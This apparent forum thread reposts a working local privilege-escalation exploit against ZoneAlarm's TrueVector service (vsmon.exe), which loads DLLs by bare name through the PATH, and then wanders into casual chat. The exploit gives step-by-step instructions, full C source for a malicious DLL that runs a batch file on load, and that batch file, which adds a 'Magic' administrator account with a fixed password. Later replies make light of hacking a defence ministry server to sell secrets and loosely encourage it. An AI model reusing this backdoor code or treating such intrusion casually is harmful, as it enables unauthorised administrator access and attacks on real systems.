Exploiting ZoneAlarm
-
Details:
During Windows startup the TrueVector service (vsmon.exe - an integral piece of most Zone Labs products) is set to startup automatically. The TrueVector service runs under the context of the Local System account. During its startup process it attempts to load several DLLs (that are listed below).
- VSUTIL_Loc0409_Oem8701.dll
- VSUTIL_Oem8701.dll
- VSUTIL_Loc0409.dll
- vsmon_Loc0409_Oem8701.dll
- vsmon_Oem8701.dll
- vsmon_Loc0409.dll
- VSRULEDB_Loc0409_Oem8701.dll
- VSRULEDB_Oem8701.dll
- VSRULEDB_Loc0409.dll
- av_Loc0409_Oem8701.dll
- av_Oem8701.dll
- av_Loc0409.dll
- zlquarantine_Loc0409_Oem8701.dll
- zlquarantine_Oem8701.dll
- zlquarantine_Loc0409.dll
- zlsre_Loc0409_Oem8701.dll
- zlsre_Oem8701.dll
- zlsre_Loc0409.dll
It appears that instead of using the full path to the DLL during the load process only the name of the DLL is used. This causes several instances of Windows PATH trolling (where Windows tries to locate the DLL in the directories listed in its PATH environment variable on behalf of the vsmon.exe process). This PATH trolling is what makes the vsmon.exe process vulnerable to several privilege escalation techniques. Below is the output from a Filemon capture of the TrueVector service startup process (edited for brevity). Please note that I have ActiveState's ActivePerl installed so C:\Perl\bin is included in my PATH.
vsmon.exe QUERY INFORMATION
C:\Perl\bin\VSUTIL_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\VSUTIL_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\VSUTIL_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\vsmon_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\vsmon_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\vsmon_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\VSRULEDB_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\VSRULEDB_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\VSRULEDB_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\av_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\av_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\av_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\zlquarantine_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\zlquarantine_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\zlquarantine_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\zlsre_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\zlsre_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\zlsre_Loc0409.dll NOT FOUND
Exploitation Requirements:
First of all, you will need to have a directory that is writeable to a lower level user, that is included in the Windows PATH environment variable.
Secondly, verify that the path you have chosen is definitely writeable to a lower level user. On Windows 2000 operating systems the default permissions for the root of the partition where the operating system is installed is set as Everyone/Full Control. So, by default, C:\Perl\bin is set to Everyone/Full Control. On Windows 2000 operating systems a guest account can be used during the exploitation process. On Windows XP, the C:\Perl\bin folder has special permissions set (by default) for the local Users group that allows the creation and modification of new files and folders. Perfect,
that is all that is needed. On Windows XP, an account in the local Users group can be used during the exploitation process.
Vulnerable Versions:
Zone Labs ZoneAlarm Security Suite build 6.1.744.000 and possibly earlier versions.
Patches/Workarounds:
The vendor was notified several times but there was no response. The initial notification was sent on 12.20.05. Two follow-up notifications were sent afterward. So, in the meantime, play around with your firewall. -
1. Download from http://reedarvin.thearvins.com/tools/magic.zip or compile your own using the source code below.
2. Extract the magic.dll and magic.bat files.
3. Rename the magic.dll file to any of the 18 different file names listed above. In this example I will use VSUTIL_Loc0409_Oem8701.dll.
4. Copy the VSUTIL_Loc0409_Oem8701.dlll and
magic.bat files to your
chosen directory
listed in the Windows PATH environment
variable.
5. Restart the machine.
6. When the TrueVector service starts up it will
create a new user account named
Magic with a password of M@g1c$$ and add it to
the local
Administrators group.
// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll
-W1,--out-implib,libkernel32.a magic.o
#include
VOID RunMagicBatFile( VOID );
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD
fdwReason, LPVOID lpvReserved )
{
BOOLEAN bSuccess = TRUE;
switch ( fdwReason )
{
case DLL_PROCESS_ATTACH:
RunMagicBatFile();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
VOID RunMagicBatFile()
{
TCHAR szWinDir[ _MAX_PATH ];
TCHAR szCmdLine[ _MAX_PATH ];
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetEnvironmentVariable( "WINDIR", szWinDir,
_MAX_PATH );
wsprintf( szCmdLine, "%s\\system32\\cmd.exe /c
magic.bat", szWinDir );
ZeroMemory( &si, sizeof( si ) );
si.cb = sizeof( si );
ZeroMemory( &pi, sizeof( pi ) );
CreateProcess( NULL, szCmdLine, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
// ===== End Magic.c ======
// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
// ===== End Magic.bat ====== -
I quit on ZA on Nov 2005
-
Think of quitting it, but since it's fun to play with it, might as well keep it.
-
waste my time leh....Originally posted by ndmmxiaomayi:Think of quitting it, but since it's fun to play with it, might as well keep it.
I play with freehand MX
-
HahaOriginally posted by M©+square:waste my time leh....
I play with freehand MX
Wah lao... freehand eats up a lot of resources also. -
at least i'm doing something....ZA can learn wad....Originally posted by ndmmxiaomayi:Haha
Wah lao... freehand eats up a lot of resources also.
-
I am also doing something, designing a website for fun.Originally posted by M©+square:at least i'm doing something....ZA can learn wad....
Maybe will write a program to come up with random passwords. -
Tsk....design a website for me la....Originally posted by ndmmxiaomayi:I am also doing something, designing a website for fun.
Maybe will write a program to come up with random passwords.
Flash design!!! -
Flash?Originally posted by M©+square:Tsk....design a website for me la....
Flash design!!!
Can't seem to learn Flash. Have been playing around with it, but nothing comes out. -
wah lau.....you know script writing but no use flash....waste waste.Originally posted by ndmmxiaomayi:Flash?
Can't seem to learn Flash. Have been playing around with it, but nothing comes out. -
A bit only lor. Some more I only playing around. Some code is I copy and paste one. Where got so smart to write all?Originally posted by M©+square:wah lau.....you know script writing but no use flash....waste waste. -
Why so late haben sleep?Originally posted by ndmmxiaomayi:A bit only lor. Some more I only playing around. Some code is I copy and paste one. Where got so smart to write all? -
Sleep just now. From 6pm to 10pm.Originally posted by M©+square:Why so late haben sleep? -
Try Macintosh version of Flash, called Motion. Its beautiful...Originally posted by ndmmxiaomayi:Flash?
Can't seem to learn Flash. Have been playing around with it, but nothing comes out. -
i still miss the old OS MS-DOS where i can write commands whether its nonsense or not...now no more in XP
-
you know how ex bohzzz.Originally posted by chanff8:Try Macintosh version of Flash, called Motion. Its beautiful...
It's a vidz production software ain't it? -
can u teach me to hack the Ministry of Defence's server so i can play ard and sell top secret info to other country
-
You go Google search yourself. But high chance that they aren't using ZoneAlarm, so this exploit won't work. Need some hard work to get the info. But shouldn't be too hard to get their IP address.Originally posted by ceecookie:can u teach me to hack the Ministry of Defence's server so i can play ard and sell top secret info to other country -
Comes in a package of 4 Pro Apps... http://www.apple.com/finalcutstudioOriginally posted by M©+square:you know how ex bohzzz.
It's a vidz production software ain't it?
1k+ -
with ur exp is it possible to hack the MINDEF and get data urself?Originally posted by ndmmxiaomayi:You go Google search yourself. But high chance that they aren't using ZoneAlarm, so this exploit won't work. Need some hard work to get the info. But shouldn't be too hard to get their IP address. 